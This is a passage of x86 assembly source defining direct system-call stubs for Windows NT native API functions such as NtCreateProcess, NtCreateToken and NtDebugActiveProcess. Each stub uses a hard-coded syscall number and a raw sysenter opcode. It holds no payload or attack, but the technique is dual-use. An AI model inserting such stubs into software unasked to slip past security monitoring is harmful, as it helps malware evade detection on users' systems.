NtDeleteObjectAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 331
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeleteObjectAuditAlarm ENDP
; ULONG __stdcall NtDeleteKey( ULONG arg_01 );
NtDeleteKey PROC STDCALL arg_01:DWORD
mov eax , 332
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeleteKey ENDP
; ULONG __stdcall NtDeleteFile( ULONG arg_01 );
NtDeleteFile PROC STDCALL arg_01:DWORD
mov eax , 333
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeleteFile ENDP
; ULONG __stdcall NtDeleteDriverEntry( ULONG arg_01 );
NtDeleteDriverEntry PROC STDCALL arg_01:DWORD
mov eax , 334
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeleteDriverEntry ENDP
; ULONG __stdcall NtDeleteBootEntry( ULONG arg_01 );
NtDeleteBootEntry PROC STDCALL arg_01:DWORD
mov eax , 335
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeleteBootEntry ENDP
; ULONG __stdcall NtDeleteAtom( ULONG arg_01 );
NtDeleteAtom PROC STDCALL arg_01:DWORD
mov eax , 336
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeleteAtom ENDP
; ULONG __stdcall NtDelayExecution( ULONG arg_01 , ULONG arg_02 );
NtDelayExecution PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 337
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDelayExecution ENDP
; ULONG __stdcall NtDebugContinue( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtDebugContinue PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 338
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDebugContinue ENDP
; ULONG __stdcall NtDebugActiveProcess( ULONG arg_01 , ULONG arg_02 );
NtDebugActiveProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 339
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDebugActiveProcess ENDP
; ULONG __stdcall NtCreatePartition( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreatePartition PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 340
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreatePartition ENDP
; ULONG __stdcall NtCreateWorkerFactory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
NtCreateWorkerFactory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 341
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateWorkerFactory ENDP
; ULONG __stdcall NtCreateWnfStateName( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
NtCreateWnfStateName PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 342
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateWnfStateName ENDP
; ULONG __stdcall NtCreateWaitCompletionPacket( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCreateWaitCompletionPacket PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 343
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateWaitCompletionPacket ENDP
; ULONG __stdcall NtCreateWaitablePort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtCreateWaitablePort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 344
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateWaitablePort ENDP
; ULONG __stdcall NtCreateUserProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
NtCreateUserProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 345
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateUserProcess ENDP
; ULONG __stdcall NtCreateTransactionManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtCreateTransactionManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 346
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateTransactionManager ENDP
; ULONG __stdcall NtCreateTransaction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
NtCreateTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 347
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateTransaction ENDP
; ULONG __stdcall NtCreateToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 );
NtCreateToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD
mov eax , 348
call _label_sysenter
ret 52
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateToken ENDP
; ULONG __stdcall NtCreateLowBoxToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtCreateLowBoxToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 349
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateLowBoxToken ENDP
; ULONG __stdcall NtCreateTokenEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 , ULONG arg_17 );
NtCreateTokenEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD , arg_17:DWORD
mov eax , 350
call _label_sysenter
ret 68
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateTokenEx ENDP
; ULONG __stdcall NtCreateTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreateTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 351
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateTimer ENDP
; ULONG __stdcall NtCreateThreadEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
NtCreateThreadEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 352
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateThreadEx ENDP
; ULONG __stdcall NtCreateThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtCreateThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 353
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateThread ENDP
; ULONG __stdcall NtCreateSymbolicLinkObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreateSymbolicLinkObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 354
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateSymbolicLinkObject ENDP
; ULONG __stdcall NtCreateSemaphore( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtCreateSemaphore PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 355
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateSemaphore ENDP
; ULONG __stdcall NtCreateSection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
NtCreateSection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 356
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateSection ENDP
; ULONG __stdcall NtCreateResourceManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
NtCreateResourceManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 357
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateResourceManager ENDP
; ULONG __stdcall NtCreateProfileEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
NtCreateProfileEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 358
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateProfileEx ENDP
; ULONG __stdcall NtCreateProfile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtCreateProfile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 359
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateProfile ENDP
; ULONG __stdcall NtCreateProcessEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtCreateProcessEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 360
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateProcessEx ENDP
; ULONG __stdcall NtCreateProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtCreateProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 361
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateProcess ENDP
; ULONG __stdcall NtCreatePrivateNamespace( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreatePrivateNamespace PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 362
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreatePrivateNamespace ENDP
; ULONG __stdcall NtCreatePort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtCreatePort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 363
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreatePort ENDP
; ULONG __stdcall NtCreatePagingFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreatePagingFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 364
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreatePagingFile ENDP
; ULONG __stdcall NtCreateNamedPipeFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 );
NtCreateNamedPipeFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD
mov eax , 365
call _label_sysenter
ret 56
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateNamedPipeFile ENDP
; ULONG __stdcall NtCreateMutant( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreateMutant PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 366
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateMutant ENDP
; ULONG __stdcall NtCreateMailslotFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtCreateMailslotFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 367
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateMailslotFile ENDP
; ULONG __stdcall NtCreateKeyTransacted( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtCreateKeyTransacted PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 368
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateKeyTransacted ENDP
; ULONG __stdcall NtCreateKeyedEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreateKeyedEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 369
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateKeyedEvent ENDP
; ULONG __stdcall NtCreateKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
NtCreateKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 370
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateKey ENDP
; ULONG __stdcall NtCreateJobSet( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCreateJobSet PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 371
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateJobSet ENDP
; ULONG __stdcall NtCreateJobObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCreateJobObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 372
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateJobObject ENDP
; ULONG __stdcall NtCreateIRTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCreateIRTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 373
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateIRTimer ENDP
; ULONG __stdcall NtCreateTimer2( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtCreateTimer2 PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 374
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateTimer2 ENDP
; ULONG __stdcall NtCreateIoCompletion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreateIoCompletion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 375
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateIoCompletion ENDP
; ULONG __stdcall NtCreateFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
NtCreateFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 376
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateFile ENDP
; ULONG __stdcall NtCreateEventPair( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCreateEventPair PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 377
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateEventPair ENDP
; ULONG __stdcall NtCreateEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtCreateEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 378
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateEvent ENDP
; ULONG __stdcall NtCreateEnlistment( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtCreateEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 379
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateEnlistment ENDP
; ULONG __stdcall NtCreateEnclave( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtCreateEnclave PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 380
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateEnclave ENDP
; ULONG __stdcall NtCreateDirectoryObjectEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtCreateDirectoryObjectEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 381
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateDirectoryObjectEx ENDP
; ULONG __stdcall NtCreateDirectoryObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCreateDirectoryObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 382
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateDirectoryObject ENDP
; ULONG __stdcall NtCreateDebugObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreateDebugObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 383
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateDebugObject ENDP
; ULONG __stdcall NtConvertBetweenAuxiliaryCounterAndPerformanceCounter( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtConvertBetweenAuxiliaryCounterAndPerformanceCounter PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 384
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtConvertBetweenAuxiliaryCounterAndPerformanceCounter ENDP
; ULONG __stdcall NtContinue( ULONG arg_01 , ULONG arg_02 );
NtContinue PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 385
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtContinue ENDP
; ULONG __stdcall NtConnectPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtConnectPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 386
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtConnectPort ENDP
; ULONG __stdcall NtCompressKey( ULONG arg_01 );
NtCompressKey PROC STDCALL arg_01:DWORD
mov eax , 387
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCompressKey ENDP
; ULONG __stdcall NtCompleteConnectPort( ULONG arg_01 );
NtCompleteConnectPort PROC STDCALL arg_01:DWORD
mov eax , 388
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCompleteConnectPort ENDP
; ULONG __stdcall NtCompareTokens( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCompareTokens PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 389
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCompareTokens ENDP
; ULONG __stdcall NtCompareSigningLevels( ULONG arg_01 , ULONG arg_02 );
NtCompareSigningLevels PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 390
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCompareSigningLevels ENDP
; ULONG __stdcall NtCompareObjects( ULONG arg_01 , ULONG arg_02 );
NtCompareObjects PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 391
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCompareObjects ENDP
; ULONG __stdcall NtCompactKeys( ULONG arg_01 , ULONG arg_02 );
NtCompactKeys PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 392
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCompactKeys ENDP
; ULONG __stdcall NtCommitTransaction( ULONG arg_01 , ULONG arg_02 );
NtCommitTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 393
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCommitTransaction ENDP
; ULONG __stdcall NtCommitEnlistment( ULONG arg_01 , ULONG arg_02 );
NtCommitEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 394
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCommitEnlistment ENDP
; ULONG __stdcall NtCommitComplete( ULONG arg_01 , ULONG arg_02 );
NtCommitComplete PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 395
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCommitComplete ENDP
; ULONG __stdcall NtCloseObjectAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCloseObjectAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 396
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCloseObjectAuditAlarm ENDP
; ULONG __stdcall NtClose( ULONG arg_01 );
NtClose PROC STDCALL arg_01:DWORD
mov eax , 397
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtClose ENDP
; ULONG __stdcall NtClearEvent( ULONG arg_01 );
NtClearEvent PROC STDCALL arg_01:DWORD
mov eax , 398
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtClearEvent ENDP
; ULONG __stdcall NtCancelWaitCompletionPacket( ULONG arg_01 , ULONG arg_02 );
NtCancelWaitCompletionPacket PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 399
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCancelWaitCompletionPacket ENDP
; ULONG __stdcall NtCancelTimer( ULONG arg_01 , ULONG arg_02 );
NtCancelTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 400
call _label_sysenter
ret 8
